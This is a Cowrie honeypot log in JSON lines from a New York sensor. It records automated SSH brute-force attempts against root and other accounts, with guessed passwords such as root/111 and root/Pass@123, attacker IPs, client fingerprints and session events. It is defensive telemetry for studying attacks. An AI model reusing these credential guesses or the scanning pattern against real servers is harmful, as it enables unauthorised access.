{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:9e:5c:bc:fd:e0:bb:c0:40:b5:00:02:61:a2:42:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ltqSg5GruTC1y2BM8QVHWwF4OX1xSmmrOuimz28B8StFhheOKmW02PrdgX6kgOaF9hbZLfo2cl/cCksN1g8w5iQJfyfaPjf9PQmlTo01SILii6LHQSmE9dDP6Y+BfeguJDjTnvkuXI8X46q+XBrXlcnreg4NuARXn487HSS+Zn1zS3RzXjd7cW7pOtXM0jNmdVOSCUK/WHFJ8jq+jtUrt5q8ctCQ1HXJOkCvXLO3PlTCIOCvjE9PanKdmkcjAkTZiAkKN9T4pWM/mNVjAptlGl7Onvyx5t+WHEmFMnULymR0PM7ZC6H6MC8uHiyL/jSl2fviixuq7tvfJUN3gZZd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:9e:5c:bc:fd:e0:bb:c0:40:b5:00:02:61:a2:42:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.061084Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:9e:5c:bc:fd:e0:bb:c0:40:b5:00:02:61:a2:42:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC7ltqSg5GruTC1y2BM8QVHWwF4OX1xSmmrOuimz28B8StFhheOKmW02PrdgX6kgOaF9hbZLfo2cl/cCksN1g8w5iQJfyfaPjf9PQmlTo01SILii6LHQSmE9dDP6Y+BfeguJDjTnvkuXI8X46q+XBrXlcnreg4NuARXn487HSS+Zn1zS3RzXjd7cW7pOtXM0jNmdVOSCUK/WHFJ8jq+jtUrt5q8ctCQ1HXJOkCvXLO3PlTCIOCvjE9PanKdmkcjAkTZiAkKN9T4pWM/mNVjAptlGl7Onvyx5t+WHEmFMnULymR0PM7ZC6H6MC8uHiyL/jSl2fviixuq7tvfJUN3gZZd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.065040Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:e3:f2:56:3e:1b:bd:7b:f0:a5:48:a2:e3:3a:0e:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyX55FN84TaUBTXQKG5sMGheeeiUMS2PS7ES5cv8jn+EnTYiWdI94+lNtTTptJErdky/sq7NTq8Ko2ez0ixKZZY04L8TFBNaWzgb4GC9wuHpIZole0cUHnCc2mjeHhDl3US+nyyK4tSuwEjEqp0qPmAeOAbeQIepQhz+hmYU4mL0aP4Llwo8J6D+emqToci7yVO46Em4jq2ku9pP1WfnqVcCJhzaQOjCOkw7kjJCiPdyVUt5RPuJ4rG+Mcco98zeSbtrBgOhy08Bx2WMSlrIv5LQwpbNqdoGH4bj7aGgqQ/s3sIw00oXrh24Tiv3g4C/tGVeV933Aw3cGzT95e7CNcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:e3:f2:56:3e:1b:bd:7b:f0:a5:48:a2:e3:3a:0e:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.155611Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:e3:f2:56:3e:1b:bd:7b:f0:a5:48:a2:e3:3a:0e:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyX55FN84TaUBTXQKG5sMGheeeiUMS2PS7ES5cv8jn+EnTYiWdI94+lNtTTptJErdky/sq7NTq8Ko2ez0ixKZZY04L8TFBNaWzgb4GC9wuHpIZole0cUHnCc2mjeHhDl3US+nyyK4tSuwEjEqp0qPmAeOAbeQIepQhz+hmYU4mL0aP4Llwo8J6D+emqToci7yVO46Em4jq2ku9pP1WfnqVcCJhzaQOjCOkw7kjJCiPdyVUt5RPuJ4rG+Mcco98zeSbtrBgOhy08Bx2WMSlrIv5LQwpbNqdoGH4bj7aGgqQ/s3sIw00oXrh24Tiv3g4C/tGVeV933Aw3cGzT95e7CNcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.159577Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d1:39:0e:25:bf:5f:f5:b6:9a:c6:6e:a0:c4:5b:8a:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCufOinQJQNsQzGgtsw1Jn7S+OZ3AhCNM/MhSFjC7AfnAUYwfRVPCac6h33+wwD/ncXyJJfVVYHlG9blODoIWl2aEGW5PfcUijpsCMqECMSxr7YgbvAfx1l7VgSmSZ8sMR3okaMi+w1x473DvcmZa7FfmPcT3owqKES2TWrLIt1yiGdjOrMtRGvijbnhgAo4YrYUSHMTWy8jsSv1tk0cDh1//c7W9YvcNajEemjPLz5e/s9rPfFbqZwLT5T9e2scw3S4EAijdfKsyQLLVw5KlRzkLq8O6tYN2HMrHg6HQ6/DsoihJ1puphsKeDGQ2SrAdRvr3YbnfvYMv4+PmAIgncd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d1:39:0e:25:bf:5f:f5:b6:9a:c6:6e:a0:c4:5b:8a:42","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.245476Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d1:39:0e:25:bf:5f:f5:b6:9a:c6:6e:a0:c4:5b:8a:42","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCufOinQJQNsQzGgtsw1Jn7S+OZ3AhCNM/MhSFjC7AfnAUYwfRVPCac6h33+wwD/ncXyJJfVVYHlG9blODoIWl2aEGW5PfcUijpsCMqECMSxr7YgbvAfx1l7VgSmSZ8sMR3okaMi+w1x473DvcmZa7FfmPcT3owqKES2TWrLIt1yiGdjOrMtRGvijbnhgAo4YrYUSHMTWy8jsSv1tk0cDh1//c7W9YvcNajEemjPLz5e/s9rPfFbqZwLT5T9e2scw3S4EAijdfKsyQLLVw5KlRzkLq8O6tYN2HMrHg6HQ6/DsoihJ1puphsKeDGQ2SrAdRvr3YbnfvYMv4+PmAIgncd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.253571Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXJL8cOQov5ae8yTUQl+au9SZikvPSZhhvgl7pScADU7pQytX62gF4XLnE94w5ydo4UtBtBBaC/dQlB3ORrf13mSTJ6iHs7ubvh+n0ZmekmY3pu+b15Nt1Blg9EtNF9Ni/iOydcNr1a97djfucjSIn68Ihv1VexY88/ERCd+2dCB2EvPMMqghbszY8F9OF/WajM03IZETdTokhjo5+Sa36AhCSKCLzAj/ZQ+XaykYNRFQe7K6dtPJu2kCwvfFNi5xyPX+zkwc+Eu4YMPBz8iRoZ6J9o4KW31RWGRhkSHO51XGG6d03dGADXEVvcx/sEEECevyjee3HxJR70RqUVkWUB8atisBGrstJ69UXxH93P+ysiiS2/7AnnXj+MeCn0NbbbjpMIYp5ijPuC7YGmvGVOEx6vv692FnUm40oLiHxGfiqJ5Xewar2t7NShlv/R+XZwx0ecGOH86dryUHPmA/lKNgf3Tl0a3/sGXuTQ0YqNmsRCb4huzfPvkrMAjsP1JE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.376531Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:2a:5e:26:d3:d4:de:7c:09:fa:47:20:50:bb:e0:a7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDXJL8cOQov5ae8yTUQl+au9SZikvPSZhhvgl7pScADU7pQytX62gF4XLnE94w5ydo4UtBtBBaC/dQlB3ORrf13mSTJ6iHs7ubvh+n0ZmekmY3pu+b15Nt1Blg9EtNF9Ni/iOydcNr1a97djfucjSIn68Ihv1VexY88/ERCd+2dCB2EvPMMqghbszY8F9OF/WajM03IZETdTokhjo5+Sa36AhCSKCLzAj/ZQ+XaykYNRFQe7K6dtPJu2kCwvfFNi5xyPX+zkwc+Eu4YMPBz8iRoZ6J9o4KW31RWGRhkSHO51XGG6d03dGADXEVvcx/sEEECevyjee3HxJR70RqUVkWUB8atisBGrstJ69UXxH93P+ysiiS2/7AnnXj+MeCn0NbbbjpMIYp5ijPuC7YGmvGVOEx6vv692FnUm40oLiHxGfiqJ5Xewar2t7NShlv/R+XZwx0ecGOH86dryUHPmA/lKNgf3Tl0a3/sGXuTQ0YqNmsRCb4huzfPvkrMAjsP1JE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.382265Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:06.483611Z","src_ip":"62.210.199.83","session":"4086995f4b08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:10.709512Z","src_ip":"47.86.95.62","session":"df3b10f4b5e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:10.961267Z","src_ip":"8.218.166.49","session":"26e52c84d929","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:11.935155Z","src_ip":"47.86.95.62","session":"df3b10f4b5e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":48078,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef12495baf8d","protocol":"ssh","message":"New connection: 47.86.95.62:48078 (10.17.0.5:22) [session: ef12495baf8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:15.318250Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:15.323437Z","src_ip":"47.86.95.62","session":"ef12495baf8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:15.538262Z","src_ip":"47.86.95.62","session":"ef12495baf8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:16.178986Z","src_ip":"47.86.95.62","session":"ef12495baf8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:17.396052Z","src_ip":"47.86.95.62","session":"ef12495baf8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":45678,"dst_ip":"10.17.0.5","dst_port":22,"session":"68f68e2ef20c","protocol":"ssh","message":"New connection: 8.218.166.49:45678 (10.17.0.5:22) [session: 68f68e2ef20c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:29.154647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:29.160615Z","src_ip":"8.218.166.49","session":"68f68e2ef20c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":39490,"dst_ip":"10.17.0.5","dst_port":22,"session":"a90916bc350e","protocol":"ssh","message":"New connection: 47.86.95.62:39490 (10.17.0.5:22) [session: a90916bc350e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:30.248891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:31.202488Z","src_ip":"47.86.95.62","session":"a90916bc350e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:31.209368Z","src_ip":"47.86.95.62","session":"a90916bc350e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35496,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59453626c5f","protocol":"ssh","message":"New connection: 8.218.166.49:35496 (10.17.0.5:22) [session: a59453626c5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:39.051962Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35498,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2d56b90d646","protocol":"ssh","message":"New connection: 8.218.166.49:35498 (10.17.0.5:22) [session: e2d56b90d646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:44.590078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:44.595225Z","src_ip":"8.218.166.49","session":"e2d56b90d646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:10:54.006642Z","src_ip":"47.86.95.62","session":"a90916bc350e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.0","message":"Connection lost after 36.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:06.294199Z","src_ip":"47.86.95.62","session":"a90916bc350e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":56692,"dst_ip":"10.17.0.5","dst_port":22,"session":"e79cf0f9edc2","protocol":"ssh","message":"New connection: 8.218.166.49:56692 (10.17.0.5:22) [session: e79cf0f9edc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:12.753619Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":37704,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf4114431b4f","protocol":"ssh","message":"New connection: 47.86.95.62:37704 (10.17.0.5:22) [session: bf4114431b4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:24.024500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:24.740645Z","src_ip":"8.218.166.49","session":"e79cf0f9edc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:24.845943Z","src_ip":"8.218.166.49","session":"e2d56b90d646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:24.943094Z","src_ip":"8.218.166.49","session":"e79cf0f9edc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186395645142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:35.083828Z","src_ip":"64.251.157.32","session":"f5284dc63377","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":41142,"dst_ip":"159.203.135.109","dst_port":22,"session":"f06bd13b8f51","protocol":"ssh","message":"New connection: 2.57.122.238:41142 (159.203.135.109:22) [session: f06bd13b8f51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:45.922251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:45.927555Z","src_ip":"2.57.122.238","session":"f06bd13b8f51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:46.028871Z","src_ip":"2.57.122.238","session":"f06bd13b8f51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:46.334541Z","src_ip":"2.57.122.238","session":"f06bd13b8f51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:11:47.437874Z","src_ip":"2.57.122.238","session":"f06bd13b8f51","protocol":"ssh"}
